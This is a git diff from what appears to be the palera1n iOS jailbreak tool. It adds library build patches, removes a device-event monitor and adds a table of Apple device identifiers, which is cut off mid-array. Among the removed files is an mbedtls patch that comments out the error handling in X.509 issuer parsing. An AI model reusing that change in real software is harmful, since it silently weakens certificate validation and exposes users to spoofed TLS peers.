a/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch b/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch new file mode 100644 index 0000000..6fa376f --- /dev/null +++ b/patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch @@ -0,0 +1,129 @@ +diff --git a/cpp/include/idevice++/dvt/network_monitor.hpp b/cpp/include/idevice++/dvt/network_monitor.hpp +index 229bf6d..6dcf2a2 100644 +--- a/cpp/include/idevice++/dvt/network_monitor.hpp ++++ b/cpp/include/idevice++/dvt/network_monitor.hpp +@@ -22,7 +22,7 @@ struct CppSocketAddress { + + /// A decoded network event from the device + struct NetworkEvent { +- IdeviceNetworkEventType event_type = Unknown; ++ IdeviceNetworkEventType event_type = NetworkEventUnknown; + + // InterfaceDetection + uint32_t interface_index = 0; +diff --git a/ffi/Cargo.toml b/ffi/Cargo.toml +index 91bd981..933e743 100644 +--- a/ffi/Cargo.toml ++++ b/ffi/Cargo.toml +@@ -71,7 +71,7 @@ tunnel_tcp_stack = ["idevice/tunnel_tcp_stack"] + tunnel_tcp_stack_pcap = ["idevice/tunnel_tcp_stack_pcap"] + tss = ["idevice/tss"] + tunneld = ["idevice/tunneld"] +-usbmuxd = ["idevice/usbmuxd"] ++usbmuxd = ["idevice/usbmuxd", "dep:futures"] + wda = ["idevice/wda", "dep:serde_json"] + xpc = ["idevice/xpc"] + screenshotr = ["idevice/screenshotr"] +diff --git a/ffi/src/dvt/network_monitor.rs b/ffi/src/dvt/network_monitor.rs +index e089ffa..264b36d 100644 +--- a/ffi/src/dvt/network_monitor.rs ++++ b/ffi/src/dvt/network_monitor.rs +@@ -18,7 +18,7 @@ pub enum IdeviceNetworkEventType { + InterfaceDetection = 0, + ConnectionDetection = 1, + ConnectionUpdate = 2, +- Unknown = 255, ++ NetworkEventUnknown = 255, + } + + /// A socket address (IPv4 or IPv6), represented as a null-terminated string + port +@@ -286,7 +286,7 @@ pub unsafe extern "C" fn network_monitor_next_event( + unknown_type: 0, + }, + NetworkEvent::Unknown(t) => IdeviceNetworkEvent { +- event_type: IdeviceNetworkEventType::Unknown, ++ event_type: IdeviceNetworkEventType::NetworkEventUnknown, + interface_index: 0, + interface_name: null_mut(), + local_addr: make_socket_addr(None), +diff --git a/ffi/src/lockdown.rs b/ffi/src/lockdown.rs +index cb04c27..d13a25a 100644 +--- a/ffi/src/lockdown.rs ++++ b/ffi/src/lockdown.rs +@@ -3,14 +3,14 @@ + use std::ptr::null_mut; + + use idevice::{ +- IdeviceError, IdeviceService, RsdService as _, lockdown::LockdownClient, ++ IdeviceError, IdeviceService, lockdown::LockdownClient, + provider::IdeviceProvider, + }; + use plist_ffi::plist_t; + + use crate::{ +- IdeviceFfiError, IdeviceHandle, IdevicePairingFile, core_device_proxy::AdapterHandle, ffi_err, +- provider::IdeviceProviderHandle, rsd::RsdHandshakeHandle, run_sync_local, ++ IdeviceFfiError, IdeviceHandle, IdevicePairingFile, ffi_err, ++ provider::IdeviceProviderHandle, run_sync_local, + }; + + pub struct LockdowndClientHandle(pub LockdownClient); +@@ -55,45 +55,6 @@ pub unsafe extern "C" fn lockdownd_connect( + } + } + +-/// Creates a new LockdownClient via RSD +-/// +-/// # Arguments +-/// * [`provider`] - An adapter created by this library +-/// * [`handshake`] - An RSD handshake from the same provider +-/// * [`client`] - On success, will be set to point to a newly allocated LockdownClient handle +-/// +-/// # Returns +-/// An IdeviceFfiError on error, null on success +-/// +-/// # Safety +-/// `provider` must be a valid pointer to a handle allocated by this library +-/// `handshake` must be a valid pointer to a handle allocated by this library +-/// `client` must be a valid, non-null pointer to a location where the handle will be stored +-#[unsafe(no_mangle)] +-pub unsafe extern "C" fn lockdownd_connect_rsd( +- provider: *mut AdapterHandle, +- handshake: *mut RsdHandshakeHandle, +- client: *mut *mut LockdowndClientHandle, +-) -> *mut IdeviceFfiError { +- if provider.is_null() || handshake.is_null() || client.is_null() { +- return ffi_err!(IdeviceError::FfiInvalidArg); +- } +- let res: Result = run_sync_local(async move { +- let provider_ref = unsafe { &mut (*provider).0 }; +- let handshake_ref = unsafe { &mut (*handshake).0 }; +- LockdownClient::connect_rsd(provider_ref, handshake_ref).await +- }); +- +- match res { +- Ok(r) => { +- let boxed = Box::new(LockdowndClientHandle(r)); +- unsafe { *client = Box::into_raw(boxed) }; +- null_mut() +- } +- Err(e) => ffi_err!(e), +- } +-} +- + /// Creates a new LockdowndClient from an existing Idevice connection + /// + /// # Arguments +diff --git a/idevice/src/lib.rs b/idevice/src/lib.rs +index b208525..d8d8109 100644 +--- a/idevice/src/lib.rs ++++ b/idevice/src/lib.rs +@@ -51,7 +51,7 @@ pub mod tunnel; + pub use xpc::RemoteXpcClient; + + use plist_macro::{plist, pretty_print_dictionary, pretty_print_plist}; +-use provider::{IdeviceProvider, RsdProvider}; ++use provider::IdeviceProvider; + #[cfg(feature = "rustls")] + use rustls::{crypto::CryptoProvider, pki_types::ServerName}; + use std::{ diff --git a/patches/libimobiledevice/0001-include-windows-header.patch b/patches/libimobiledevice/0001-include-windows-header.patch deleted file mode 100644 index 8746f12..0000000 --- a/patches/libimobiledevice/0001-include-windows-header.patch +++ /dev/null @@ -1,12 +0,0 @@ ---- a/src/notification_proxy.c 2026-06-19 21:43:36 -+++ b/src/notification_proxy.c 2026-06-20 16:44:12 -@@ -31,7 +31,8 @@ - #include "property_list_service.h" - #include "common/debug.h" - --#ifdef WIN32 -+#ifdef _WIN32 -+#include - #define sleep(x) Sleep(x*1000) - #endif - diff --git a/patches/liteusb/0001-cpp-compatible.patch b/patches/liteusb/0001-cpp-compatible.patch new file mode 100644 index 0000000..422af17 --- /dev/null +++ b/patches/liteusb/0001-cpp-compatible.patch @@ -0,0 +1,26 @@ +diff --git a/include/liteusb.h b/include/liteusb.h +index 4f4033a..ab9d48a 100644 +--- a/include/liteusb.h ++++ b/include/liteusb.h +@@ -134,6 +134,10 @@ typedef struct { + #endif + } liteusb_handle_t; + ++#ifdef __cplusplus ++extern "C" { ++#endif ++ + const char *liteusb_strerror(liteusb_err_t err); + liteusb_err_t liteusb_init(uint32_t flags); + void liteusb_deinit(void); +@@ -154,4 +158,8 @@ liteusb_err_t liteusb_upload(liteusb_handle_t *handle, uint32_t endpoint, void * + liteusb_err_t liteusb_get_device_desc(liteusb_handle_t *handle, liteusb_device_desc_t *desc); + liteusb_err_t liteusb_get_device_serial_num(liteusb_handle_t *handle, char **serial_num); + +-#endif /* LITEUSB_HEADER_H */ +\ No newline at end of file ++#ifdef __cplusplus ++} ++#endif ++ ++#endif /* LITEUSB_HEADER_H */ diff --git a/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch b/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch deleted file mode 100644 index 4516290..0000000 --- a/patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch +++ /dev/null @@ -1,33 +0,0 @@ -From a2d012f3ba459f6debe636b576ad9aeab7b3c2aa Mon Sep 17 00:00:00 2001 -From: Nick Chan -Date: Sat, 27 May 2023 23:50:23 +0800 -Subject: [PATCH] Allow empty x509 cert issuer - ---- - library/x509_crt.c | 8 ++++---- - 1 file changed, 4 insertions(+), 4 deletions(-) - -diff --git a/library/x509_crt.c b/library/x509_crt.c -index cf62532f2..ef25b3d77 100644 ---- a/library/x509_crt.c -+++ b/library/x509_crt.c -@@ -1061,13 +1061,13 @@ static int x509_crt_parse_der_core(mbedtls_x509_crt *crt, - - if ((ret = mbedtls_asn1_get_tag(&p, end, &len, - MBEDTLS_ASN1_CONSTRUCTED | MBEDTLS_ASN1_SEQUENCE)) != 0) { -- mbedtls_x509_crt_free(crt); -- return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret); -+ /*mbedtls_x509_crt_free(crt); -+ return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret);*/ - } - - if ((ret = mbedtls_x509_get_name(&p, p + len, &crt->issuer)) != 0) { -- mbedtls_x509_crt_free(crt); -- return ret; -+ /*mbedtls_x509_crt_free(crt); -+ return ret;*/ - } - - crt->issuer_raw.len = p - crt->issuer_raw.p; --- -2.39.1 diff --git a/payloads/README.md b/payloads/README.md deleted file mode 100644 index 2683e82..0000000 --- a/payloads/README.md +++ /dev/null @@ -1,3 +0,0 @@ -# Payloads - -Payloads are gathered from https://checkra.in/1337 diff --git a/src/event.cpp b/src/event.cpp deleted file mode 100644 index aba3fd2..0000000 --- a/src/event.cpp +++ /dev/null @@ -1,362 +0,0 @@ -#if defined(WITH_GUI) || defined(WITH_TUI) - -#include "event.hpp" -#include "sequence.hpp" -#include "utils.h" - -#include -#include -#include -#include -#include - -#include -#include -#include - -namespace { - -struct ManagedDevice { - DeviceState state; - bool normalPresent = false; - bool recoveryPresent = false; -}; - -std::mutex g_mutex; -std::vector g_callbacks; -std::unordered_map g_devices; // keyed by ECID -std::unordered_map g_udidToEcid; -uint64_t g_activeEcid = 0; -std::once_flag g_startOnce; -irecv_device_event_context_t g_recoveryCtx = nullptr; - -void dispatch_callbacks(const std::vector& callbacks, const DeviceState& state) { - for (const auto& cb : callbacks) { - if (cb) - cb(state); - } -} - -DeviceState build_public_state_locked() { - DeviceState out; - out.connectedDeviceCount = static_cast(g_devices.size()); - out.multipleDevices = out.connectedDeviceCount > 1; - - if (g_devices.size() != 1) { - g_activeEcid = 0; - return out; - } - - auto it = g_devices.begin(); - if (g_activeEcid != 0) { - auto activeIt = g_devices.find(g_activeEcid); - if (activeIt != g_devices.end()) - it = activeIt; - } - - g_activeEcid = it->first; - out = it->second.state; - out.connected = true; - out.connectedDeviceCount = 1; - out.multipleDevices = false; - return out; -} - -void publish_state() { - std::vector callbacks; - DeviceState state; - { - std::lock_guard lock(g_mutex); - callbacks = g_callbacks; - state = build_public_state_locked(); - } - dispatch_callbacks(callbacks, state); -} - -bool lockdown_get_string(lockdownd_client_t client, const char* key, std::string& out) { - plist_t value = nullptr; - if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value) - return false; - - char* raw = nullptr; - plist_get_string_val(value, &raw); - if (raw) { - out = raw; - free(raw); - } - - plist_free(value); - return !out.empty(); -} - -bool lockdown_get_uint(lockdownd_client_t client, const char* key, uint64_t& out) { - plist_t value = nullptr; - if (lockdownd_get_value(client, nullptr, key, &value) != LOCKDOWN_E_SUCCESS || !value) - return false; - - plist_get_uint_val(value, &out); - plist_free(value); - return out != 0; -} - -bool build_normal_state(const idevice_event_t* event, DeviceState& out, std::string& connectionType) { - idevice_t device = nullptr; - if (!event || idevice_new(&device, event->udid) != IDEVICE_E_SUCCESS || !device) - return false; - - lockdownd_client_t client = nullptr; - if (lockdownd_client_new_with_handshake(device, &client, "palera1n") != LOCKDOWN_E_SUCCESS) { - idevice_free(device); - return false; - } - - out.connected = true; - out.mode = DeviceMode::Normal; - out.udid = event->udid ? event->udid : ""; - - lockdown_get_string(client, "ProductType", out.productType); - lockdown_get_string(client, "ProductVersion", out.productVersion); - lockdown_get_string(client, "ConnectionType", connectionType); - lockdown_get_uint(client, "UniqueChipID", out.ecid); - - out.isSupported = SequenceIsSupported(out.productType); - - lockdownd_client_free(client); - idevice_free(device); - return true; -} - -bool build_recovery_state(const irecv_device_event_t* event, DeviceState& out) { - if (!event || !event->device_info || !event->device_info->ecid) - return false; - - out.connected = true; - out.ecid = event->device_info->ecid; - out.mode = (event->mode == IRECV_K_DFU_MODE) ? DeviceMode::DFU : DeviceMode::Recovery; - - irecv_client_t client = nullptr; - int attempts = 0; - const int maxAttempts = 10; - while (attempts < maxAttempts) { - if (irecv_open_with_ecid(&client, out.ecid) == IRECV_E_SUCCESS) - break; - ++attempts; - std::this_thread::sleep_for(std::chrono::milliseconds(300)); - } - - if (client) { - irecv_device_t device = nullptr; - if (irecv_devices_get_device_by_client(client, &device) == IRECV_E_SUCCESS && device) { - out.productType = device->product_type ? device->product_type : ""; - out.displayName = device->display_name ? device->display_name : ""; - } - irecv_close(client); - } else { - LOG_VERBOSE("Failed to open irecv client after retries for ECID=%llu", static_cast(out.ecid)); - } - - out.isSupported = SequenceIsSupported(out.productType); - return true; -} - -void handle_normal_add(const idevice_event_t* event) { - if (!event) - return; - - if (event->conn_type != CONNECTION_USBMUXD) { - LOG_VERBOSE("Ignoring non-USB normal mode device event"); - return; - } - - DeviceState discovered; - std::string connectionType; - if (!build_normal_state(event, discovered, connectionType)) - return; - - if (!connectionType.empty() && connectionType != "USB") { - LOG_VERBOSE("Ignoring over-the-air normal mode device (ConnectionType=%s)", connectionType.c_str()); - return; - } - - if (discovered.ecid == 0) { - LOG_VERBOSE("Ignoring normal mode device without ECID"); - return; - } - - { - std::lock_guard lock(g_mutex); - ManagedDevice& m = g_devices[discovered.ecid]; - m.state = discovered; - m.normalPresent = true; - m.recoveryPresent = false; - - if (!discovered.udid.empty()) - g_udidToEcid[discovered.udid] = discovered.ecid; - } - - publish_state(); -} - -void handle_normal_remove(const idevice_event_t* event) { - if (!event || !event->udid) - return; - - { - std::lock_guard lock(g_mutex); - auto mapIt = g_udidToEcid.find(event->udid); - if (mapIt == g_udidToEcid.end()) - return; - - const uint64_t ecid = mapIt->second; - g_udidToEcid.erase(mapIt); - - auto devIt = g_devices.find(ecid); - if (devIt == g_devices.end()) - return; - - devIt->second.normalPresent = false; - if (!devIt->second.normalPresent && !devIt->second.recoveryPresent) - g_devices.erase(devIt); - } - - publish_state(); -} - -void handle_recovery_add(const irecv_device_event_t* event) { - DeviceState discovered; - if (!build_recovery_state(event, discovered)) - return; - - { - std::lock_guard lock(g_mutex); - ManagedDevice& m = g_devices[discovered.ecid]; - m.state = discovered; - m.recoveryPresent = true; - m.normalPresent = false; - } - - publish_state(); -} - -void handle_recovery_remove(const irecv_device_event_t* event) { - bool changed = false; - { - std::lock_guard lock(g_mutex); - - uint64_t ecid = 0; - if (event && event->device_info) - ecid = event->device_info->ecid; - - if (ecid == 0) { - for (const auto& [key, value] : g_devices) { - if (!value.recoveryPresent) - continue; - if (ecid != 0) { - ecid = 0; - break; - } - ecid = key; - } - } - - if (ecid == 0) - return; - - auto devIt = g_devices.find(ecid); - if (devIt == g_devices.end()) - return; - - devIt->second.recoveryPresent = false; - if (!devIt->second.normalPresent && !devIt->second.recoveryPresent) - g_devices.erase(devIt); - - for (auto it = g_udidToEcid.begin(); it != g_udidToEcid.end();) { - if (it->second == ecid && g_devices.find(ecid) == g_devices.end()) - it = g_udidToEcid.erase(it); - else - ++it; - } - - changed = true; - } - - if (changed) - publish_state(); -} - -bool is_supported_recovery_mode(irecv_mode mode) { - return mode == IRECV_K_DFU_MODE || - mode == IRECV_K_RECOVERY_MODE_1 || - mode == IRECV_K_RECOVERY_MODE_2 || - mode == IRECV_K_RECOVERY_MODE_3 || - mode == IRECV_K_RECOVERY_MODE_4; -} - -} // namespace - -void register_device_state_callback(DeviceStateCallback cb) { - if (!cb) - return; - - DeviceState snapshot; - { - std::lock_guard lock(g_mutex); - g_callbacks.push_back(cb); - snapshot = build_public_state_locked(); - } - - cb(snapshot); -} - -void ensure_device_event_system_started() { - std::call_once(g_startOnce, []() { - if (idevice_event_subscribe(normal_device_event_cb, nullptr) != IDEVICE_E_SUCCESS) - LOG_ERROR("Failed to subscribe to normal mode device events"); - - if (irecv_device_event_subscribe(&g_recoveryCtx, recovery_device_event_cb, nullptr) != IRECV_E_SUCCESS) - LOG_ERROR("Failed to subscribe to recovery/DFU device events"); - - char** udids = nullptr; - int count = 0; - if (idevice_get_device_list(&udids, &count) == IDEVICE_E_SUCCESS && udids) { - for (int i = 0; i < count; ++i) { - idevice_event_t synthetic_event; - synthetic_event.event = IDEVICE_DEVICE_ADD; - synthetic_event.udid = udids[i]; - synthetic_event.conn_type = CONNECTION_USBMUXD; - handle_normal_add(&synthetic_event); - } - idevice_device_list_free(udids); - } - }); -} - -void normal_device_event_cb(const idevice_event_t* event, void* user_data) { - (void)user_data; - if (!event) - return; - - if (event->event == IDEVICE_DEVICE_ADD) { - handle_normal_add(event); - return; - } - - if (event->event == IDEVICE_DEVICE_REMOVE) - handle_normal_remove(event); -} - -void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data) { - (void)user_data; - if (!event) - return; - - if (event->type == IRECV_DEVICE_ADD && is_supported_recovery_mode(event->mode)) { - handle_recovery_add(event); - return; - } - - if (event->type == IRECV_DEVICE_REMOVE) - handle_recovery_remove(event); -} - -#endif // WITH_GUI || WITH_TUI diff --git a/src/event.hpp b/src/event.hpp deleted file mode 100644 index cd5c24c..0000000 --- a/src/event.hpp +++ /dev/null @@ -1,49 +0,0 @@ -#if defined(WITH_GUI) || defined(WITH_TUI) - -#ifndef EVENT_H -#define EVENT_H - -#include -#include -#include - -#ifdef WITH_GUI -# include -#endif - -#include -#include -#include - -enum class DeviceMode -{ - None, - Normal, - Recovery, - DFU -}; - -struct DeviceState -{ - bool connected = false; - bool isSupported = false; - bool multipleDevices = false; - DeviceMode mode = DeviceMode::None; - std::string productVersion; - std::string productType; - std::string displayName; - std::string udid; - uint64_t ecid = 0; - uint32_t connectedDeviceCount = 0; -}; - -using DeviceStateCallback = std::function; -void register_device_state_callback(DeviceStateCallback cb); -void ensure_device_event_system_started(); - -void normal_device_event_cb(const idevice_event_t* event, void* user_data); -void recovery_device_event_cb(const irecv_device_event_t* event, void* user_data); - -#endif // EVENT_H - -#endif // WITH_GUI || WITH_TUI diff --git a/src/events/device_info.cpp b/src/events/device_info.cpp new file mode 100644 index 0000000..b37ee7b --- /dev/null +++ b/src/events/device_info.cpp @@ -0,0 +1,87 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#include "device_info.hpp" + +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +static uint64_t get_hex_field(const char *serial, const char *field) { + char *p = strstr((char *)serial, field); + return p ? strtoull(p + strlen(field), nullptr, 16) : 0; +} + +void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name) +{ + static char cpid_buf[16]; + static char ecid_buf[32]; + static char bdid_buf[16]; + + uint16_t cpid_val = (uint16_t)get_hex_field(sn, "CPID:"); + uint32_t bdid_val = (uint32_t)get_hex_field(sn, "BDID:"); + uint64_t ecid_val = get_hex_field(sn, "ECID:"); + + snprintf(cpid_buf, sizeof(cpid_buf), "%04X", cpid_val); + snprintf(bdid_buf, sizeof(bdid_buf), "%08X", bdid_val); + snprintf(ecid_buf, sizeof(ecid_buf), "%016llX", (unsigned long long)ecid_val); + + *ecid = ecid_buf; + + *product_model = nullptr; + *product_name = nullptr; + + for (int i = 0; irecv_devices[i].product_type; i++) { + if (irecv_devices[i].cpid == cpid_val && + irecv_devices[i].bdid == bdid_val) { + *product_model = irecv_devices[i].product_type; + *product_name = irecv_devices[i].name; + break; + } + } +} + +void get_name_from_product_type(const char *product_type, const char **name) { + *name = nullptr; + for (int i = 0; irecv_devices[i].product_type; i++) { + if (strcmp(irecv_devices[i].product_type, product_type) == 0) { + *name = irecv_devices[i].name; + break; + } + } +} + +#endif // WITH_GUI || WITH_TUI diff --git a/src/events/device_info.hpp b/src/events/device_info.hpp new file mode 100644 index 0000000..6fee038 --- /dev/null +++ b/src/events/device_info.hpp @@ -0,0 +1,382 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + +#if defined(WITH_GUI) || defined(WITH_TUI) + +#ifndef MAIN__DEVICE_INFO_H +#define MAIN__DEVICE_INFO_H + +struct irecv_device { + const char *product_type; + const char *board; + int bdid; + int cpid; + const char *name; +}; + +static struct irecv_device irecv_devices[] = { + /* iPhone */ + { "iPhone1,1", "m68ap", 0x00, 0x8900, "iPhone 2G" }, + { "iPhone1,2", "n82ap", 0x04, 0x8900, "iPhone 3G" }, + { "iPhone2,1", "n88ap", 0x00, 0x8920, "iPhone 3Gs" }, + { "iPhone3,1", "n90ap", 0x00, 0x8930, "iPhone 4 (GSM)" }, + { "iPhone3,2", "n90bap", 0x04, 0x8930, "iPhone 4 (GSM) R2 2012" }, + { "iPhone3,3", "n92ap", 0x06, 0x8930, "iPhone 4 (CDMA)" }, + { "iPhone4,1", "n94ap", 0x08, 0x8940, "iPhone 4s" }, + { "iPhone5,1", "n41ap", 0x00, 0x8950, "iPhone 5 (GSM)" }, + { "iPhone5,2", "n42ap", 0x02, 0x8950, "iPhone 5 (Global)" }, + { "iPhone5,3", "n48ap", 0x0a, 0x8950, "iPhone 5c (GSM)" }, + { "iPhone5,4", "n49ap", 0x0e, 0x8950, "iPhone 5c (Global)" }, + { "iPhone6,1", "n51ap", 0x00, 0x8960, "iPhone 5s (GSM)" }, + { "iPhone6,2", "n53ap", 0x02, 0x8960, "iPhone 5s (Global)" }, + { "iPhone7,1", "n56ap", 0x04, 0x7000, "iPhone 6 Plus" }, + { "iPhone7,2", "n61ap", 0x06, 0x7000, "iPhone 6" }, + { "iPhone8,1", "n71ap", 0x04, 0x8000, "iPhone 6s" }, + { "iPhone8,1", "n71map", 0x04, 0x8003, "iPhone 6s" }, + { "iPhone8,2", "n66ap", 0x06, 0x8000, "iPhone 6s Plus" }, + { "iPhone8,2", "n66map", 0x06, 0x8003, "iPhone 6s Plus" }, + { "iPhone8,4", "n69ap", 0x02, 0x8003, "iPhone SE (1st gen)" }, + { "iPhone8,4", "n69uap", 0x02, 0x8000, "iPhone SE (1st gen)" }, + { "iPhone9,1", "d10ap", 0x08, 0x8010, "iPhone 7 (Global)" }, + { "iPhone9,2", "d11ap", 0x0a, 0x8010, "iPhone 7 Plus (Global)" }, + { "iPhone9,3", "d101ap", 0x0c, 0x8010, "iPhone 7 (GSM)" }, + { "iPhone9,4", "d111ap", 0x0e, 0x8010, "iPhone 7 Plus (GSM)" }, + { "iPhone10,1", "d20ap", 0x02, 0x8015, "iPhone 8 (Global)" }, + { "iPhone10,2", "d21ap", 0x04, 0x8015, "iPhone 8 Plus (Global)" }, + { "iPhone10,3", "d22ap", 0x06, 0x8015, "iPhone X (Global)" }, + { "iPhone10,4", "d201ap", 0x0a, 0x8015, "iPhone 8 (GSM)" }, + { "iPhone10,5", "d211ap", 0x0c, 0x8015, "iPhone 8 Plus (GSM)" }, + { "iPhone10,6", "d221ap", 0x0e, 0x8015, "iPhone X (GSM)" }, + { "iPhone11,2", "d321ap", 0x0e, 0x8020, "iPhone XS" }, + { "iPhone11,4", "d331ap", 0x0a, 0x8020, "iPhone XS Max (China)" }, + { "iPhone11,6", "d331pap", 0x1a, 0x8020, "iPhone XS Max" }, + { "iPhone11,8", "n841ap", 0x0c, 0x8020, "iPhone XR" }, + { "iPhone12,1", "n104ap", 0x04, 0x8030, "iPhone 11" }, + { "iPhone12,3", "d421ap", 0x06, 0x8030, "iPhone 11 Pro" }, + { "iPhone12,5", "d431ap", 0x02, 0x8030, "iPhone 11 Pro Max" }, + { "iPhone12,8", "d79ap", 0x10, 0x8030, "iPhone SE (2nd gen)" }, + { "iPhone13,1", "d52gap", 0x0A, 0x8101, "iPhone 12 mini" }, + { "iPhone13,2", "d53gap", 0x0C, 0x8101, "iPhone 12" }, + { "iPhone13,3", "d53pap", 0x0E, 0x8101, "iPhone 12 Pro" }, + { "iPhone13,4", "d54pap", 0x08, 0x8101, "iPhone 12 Pro Max" }, + { "iPhone14,2", "d63ap", 0x0C, 0x8110, "iPhone 13 Pro" }, + { "iPhone14,3", "d64ap", 0x0E, 0x8110, "iPhone 13 Pro Max" }, + { "iPhone14,4", "d16ap", 0x08, 0x8110, "iPhone 13 mini" }, + { "iPhone14,5", "d17ap", 0x0A, 0x8110, "iPhone 13" }, + { "iPhone14,6", "d49ap", 0x10, 0x8110, "iPhone SE (3rd gen)" }, + { "iPhone14,7", "d27ap", 0x18, 0x8110, "iPhone 14" }, + { "iPhone14,8", "d28ap", 0x1A, 0x8110, "iPhone 14 Plus" }, + { "iPhone15,2", "d73ap", 0x0C, 0x8120, "iPhone 14 Pro" }, + { "iPhone15,3", "d74ap", 0x0E, 0x8120, "iPhone 14 Pro Max" }, + { "iPhone15,4", "d37ap", 0x08, 0x8120, "iPhone 15" }, + { "iPhone15,5", "d38ap", 0x0A, 0x8120, "iPhone 15 Plus" }, + { "iPhone16,1", "d83ap", 0x04, 0x8130, "iPhone 15 Pro" }, + { "iPhone16,2", "d84ap", 0x06, 0x8130, "iPhone 15 Pro Max" }, + { "iPhone17,1", "d93ap", 0x0C, 0x8140, "iPhone 16 Pro" }, + { "iPhone17,2", "d94ap", 0x0E, 0x8140, "iPhone 16 Pro Max" }, + { "iPhone17,3", "d47ap", 0x08, 0x8140, "iPhone 16" }, + { "iPhone17,4", "d48ap", 0x0A, 0x8140, "iPhone 16 Plus" }, + { "iPhone17,5", "v59ap", 0x04, 0x8140, "iPhone 16e" }, + { "iPhone18,1", "v53ap", 0x0C, 0x8150, "iPhone 17 Pro" }, + { "iPhone18,2", "v54ap", 0x0E, 0x8150, "iPhone 17 Pro Max" }, + { "iPhone18,3", "v57ap", 0x08, 0x8150, "iPhone 17" }, + { "iPhone18,4", "d23ap", 0x0A, 0x8150, "iPhone Air" }, + { "iPhone18,5", "v159ap", 0x16, 0x8150, "iPhone 17e" }, + /* iPod */ + { "iPod1,1", "n45ap", 0x02, 0x8900, "iPod Touch (1st gen)" }, + { "iPod2,1", "n72ap", 0x00, 0x8720, "iPod Touch (2nd gen)" }, + { "iPod3,1", "n18ap", 0x02, 0x8922, "iPod Touch (3rd gen)" }, + { "iPod4,1", "n81ap", 0x08, 0x8930, "iPod Touch (4th gen)" }, + { "iPod5,1", "n78ap", 0x00, 0x8942, "iPod Touch (5th gen)" }, + { "iPod7,1", "n102ap", 0x10, 0x7000, "iPod Touch (6th gen)" }, + { "iPod9,1", "n112ap", 0x16, 0x8010, "iPod Touch (7th gen)" }, + /* iPad */ + { "iPad1,1", "k48ap", 0x02, 0x8930, "iPad" }, + { "iPad2,1", "k93ap", 0x04, 0x8940, "iPad 2 (WiFi)" }, + { "iPad2,2", "k94ap", 0x06, 0x8940, "iPad 2 (GSM)" }, + { "iPad2,3", "k95ap", 0x02, 0x8940, "iPad 2 (CDMA)" }, + { "iPad2,4", "k93aap", 0x06, 0x8942, "iPad 2 (WiFi) R2 2012" }, + { "iPad2,5", "p105ap", 0x0a, 0x8942, "iPad mini (WiFi)" }, + { "iPad2,6", "p106ap", 0x0c, 0x8942, "iPad mini (GSM)" }, + { "iPad2,7", "p107ap", 0x0e, 0x8942, "iPad mini (Global)" }, + { "iPad3,1", "j1ap", 0x00, 0x8945, "iPad (3rd gen, WiFi)" }, + { "iPad3,2", "j2ap", 0x02, 0x8945, "iPad (3rd gen, CDMA)" }, + { "iPad3,3", "j2aap", 0x04, 0x8945, "iPad (3rd gen, GSM)" }, + { "iPad3,4", "p101ap", 0x00, 0x8955, "iPad (4th gen, WiFi)" }, + { "iPad3,5", "p102ap", 0x02, 0x8955, "iPad (4th gen, GSM)" }, + { "iPad3,6", "p103ap", 0x04, 0x8955, "iPad (4th gen, Global)" }, + { "iPad4,1", "j71ap", 0x10, 0x8960, "iPad Air (WiFi)" }, + { "iPad4,2", "j72ap", 0x12, 0x8960, "iPad Air (Cellular)" }, + { "iPad4,3", "j73ap", 0x14, 0x8960, "iPad Air (China)" }, + { "iPad4,4", "j85ap", 0x0a, 0x8960, "iPad mini 2 (WiFi)" }, + { "iPad4,5", "j86ap", 0x0c, 0x8960, "iPad mini 2 (Cellular)" }, + { "iPad4,6", "j87ap", 0x0e, 0x8960, "iPad mini 2 (China)" }, + { "iPad4,7", "j85map", 0x32, 0x8960, "iPad mini 3 (WiFi)" 